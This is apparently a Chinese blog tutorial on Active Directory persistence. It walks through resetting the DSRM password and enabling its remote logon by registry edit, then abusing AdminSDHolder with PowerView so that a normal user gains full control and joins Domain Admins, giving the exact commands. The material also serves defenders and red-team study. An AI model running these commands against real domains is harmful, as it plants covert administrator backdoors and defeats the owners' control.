域权限维持(重置DSRM密码与AdminSDHolder滥用)

文章目录

        • 重置DSRM密码简介
        • 重置DSRM密码利用
        • AdminSDHolder滥用简介
        • AdminSDHolder滥用利用
        • 总结

重置DSRM密码简介

目录还原模式(DSRM)是Windows域环境中域控的安全模式启动选项,
每个域控都有一个本地管理员administrator账号就是DSRM账号,DR
SM的用途是允许管理员在域环境出现故障或崩溃时还原/修复/重建活
动的目录数据库,使域环境运行恢复正常也就是DSRM账号其实就是域控
的本地administrator默认情况下DSRM账号是无法用于RDP或远程连接
进行登录域控的,这与DSRM账号的登录方式有关。

重置DSRM密码利用

利用步骤:
1.在域控上执行ntdsutil命令修改DSRM密码
2.通过注册表修改DSRM登录方式为RDP方式
利用步骤1:
在域控上执行ntdsutil命令
ntdsutil下输入一下命令
set DSRM password
reset password on server null
输入新DSRM密码

域权限维持(重置DSRM密码与AdminSDHolder滥用)_第1张图片

利用步骤2:		
	修改DSRM密码后,还需要修改DSRM的登录方式才可以进行RDP登录,
	DSRM有3种登录方式。
	0:默认值,只有当前域控重启并进入DSRM模式时,才可以使用DSRM管理员账户。
	1:只有当本地活动目录域服务停止时,才可以时使用DSRM管理员账户登陆域控。
	2:在任何情况下,都可以使用DSRM管理员账户登录域控。
	需要设置为模式2修改如下注册表:
	HKEY_LOCAL_MACHINE/System/CurrentControlSet/Control/Lsa的DSRMAdminlogonbehavior项控制为2模式没有改项且值为0。
	管理员权限通过Powershell修改:
	New-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -name "DSRMAdminlogonbehavior" -value 2 -propertyType DWORD

域权限维持(重置DSRM密码与AdminSDHolder滥用)_第2张图片

现在就可以进行远程连接需要注意的是需要加上机器名称前缀例子如下:
假设域为test
test\administrator		域中的administrator成员
WIN-DC\administrator	域控本地组的administrator

域权限维持(重置DSRM密码与AdminSDHolder滥用)_第3张图片

AdminSDHolder滥用简介

活动目录域服务使用AdminSDHolder/Protected Groups/Security Descriptor Propagator
来保护特权用户和特权组被恶意的修改或滥用。
Protected Groups(受保护组)
	受保护组是指活动目录的一些特权对象,在2016中有如下对象:
	Administrator
	Domain Admins
	Enterprise Admins
	Schema Admins
	管理员
	krbtgt
	Read-only Domain Controlles
	2019 R2新增:
	Key Admins 
	Enterprise Key Admins
Protected Groups(受保护组)的对象会将adm-inCount的值设置为1,可以利用该值查询ldap
列出受保护组对象,下面是使用Adfind进行查询:
Adfind.exe -f "&(objectcategory=group)(admincount=1)" -dn

域权限维持(重置DSRM密码与AdminSDHolder滥用)_第4张图片

Adfind.exe -f "&(objectcategory=user)(admincount=1)" -dn

域权限维持(重置DSRM密码与AdminSDHolder滥用)_第5张图片

每个活动目录都有一个名为AdminSDHolder的容器对象,存储路径为:
CN=AdminSDHolder,CN=System,DC=test,DC=com

域权限维持(重置DSRM密码与AdminSDHolder滥用)_第6张图片

AdminSDHolder对象具有唯一的ACL,用于控制Protected Groups的安全主题的权限,
以避免这些特权对象被恶意修改或滥用,可以理解为AdminSDHolder的ACL配置是一个
安全配置模板,AdminSDHolder对象默认情况下禁用继承,确保不继承父级权限,只有
Administrator/Domain Admins/Enterprise Admins组拥有对AdminSDHolder对象
属性具有修改权限。
默认情况下,每隔一小时域控上运行一个SDProp(Security Descriptor Propagation)
的后台进程SDProp并不知道哪些对象是在Protected Groups中它只能根据目标对象的
AdminCount属性是否为1来判断目标对象是否受保护,可以参考之前Adfind的查询,
然后将这些对象的ACL与AdminSDHolder对象的ACL进行比较如果受保护对象的ACL配置
与AdminSDHolder容器的ACL配置不一样则SDProp进程会将重写该受保护对象的ACL,
使其恢复与AdminSDHolder容器相同的ACL配置,因此可以用作权限维持,将普通域成员
利用添加对AdminSDHolder完全控制权的ACL之后等待SDProp程序运行,运行时会以
AdminSDHolder的ACL为模板对受保护对象的ACL进行检查如果两者ACL不一致,则SDProp
进程会将重写受保护对象的ACL使其恢复与AdminSDHolder容器完全相同的ACL配置,
因此最终被控制的普通域成员会对所有受保护对象拥有完全控制权。	

AdminSDHolder滥用利用

利用步骤:
1.将普通域用户设置对AdminSDHolder组的WriteDACL权限
2.强制SDProp进程运行或等待运行
3.具有WriteDACL权限的普通域账号进行提权
利用步骤1:
	PowerView利用:					
	下载:
	https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1
	Import-Module .\PowerView.PS1
	Add-DomainObjectAcl -TargetIdentity "CN=AdminSDHolder,CN=System,DC=test,DC=com" -PrincipalIdentity hack123 -Rights ALL -Verbose

域权限维持(重置DSRM密码与AdminSDHolder滥用)_第7张图片

域权限维持(重置DSRM密码与AdminSDHolder滥用)_第8张图片

需要注意此时受保护组还没有hack123因为还没有触发SDProp进程运行下面截图是以
Domain Admins组为例子。

域权限维持(重置DSRM密码与AdminSDHolder滥用)_第9张图片

利用步骤2:
修改注册表强制触发SDProp进程运行:
在HKLM\SYSTEM\CurrentControlSet\Services\NTDS\Parameters
中添加或修改AdminSDProtectFrequency的值该值的范围是从60到7200,
单位为秒,键类型为DWORD
reg add hklm\SYSTEM\CurrentControlSet\Services\NTDS\Parameters /v AdminSDProtectFrequency /t REG_DWORD /d 600

在这里插入图片描述

如果需要恢复为默认的60min,则可以在注册表中删除AdminSDProtectFrequency这一项	
成功之后再次查询Domain Admins组可以发现hack123已经具有完全控制权限。

域权限维持(重置DSRM密码与AdminSDHolder滥用)_第10张图片

现在hack123还只是隶属于Domain Users组下面提权到管理员组命令:

域权限维持(重置DSRM密码与AdminSDHolder滥用)_第11张图片

net group "Domain Admins" hack123 /add /domain	

域权限维持(重置DSRM密码与AdminSDHolder滥用)_第12张图片
域权限维持(重置DSRM密码与AdminSDHolder滥用)_第13张图片

总结

本篇文章讲解域内常见的权限维持手法的两种重置DSRM密码与AdminSDHolder滥用,
当然利用的姿势还有很多这里只是讲解了几种工具,下面我将写域权限维持ACL滥用的
相关文章欢迎大家的关注。

你可能感兴趣的:(域安全,安全漏洞,信息安全,网络,系统安全,windows)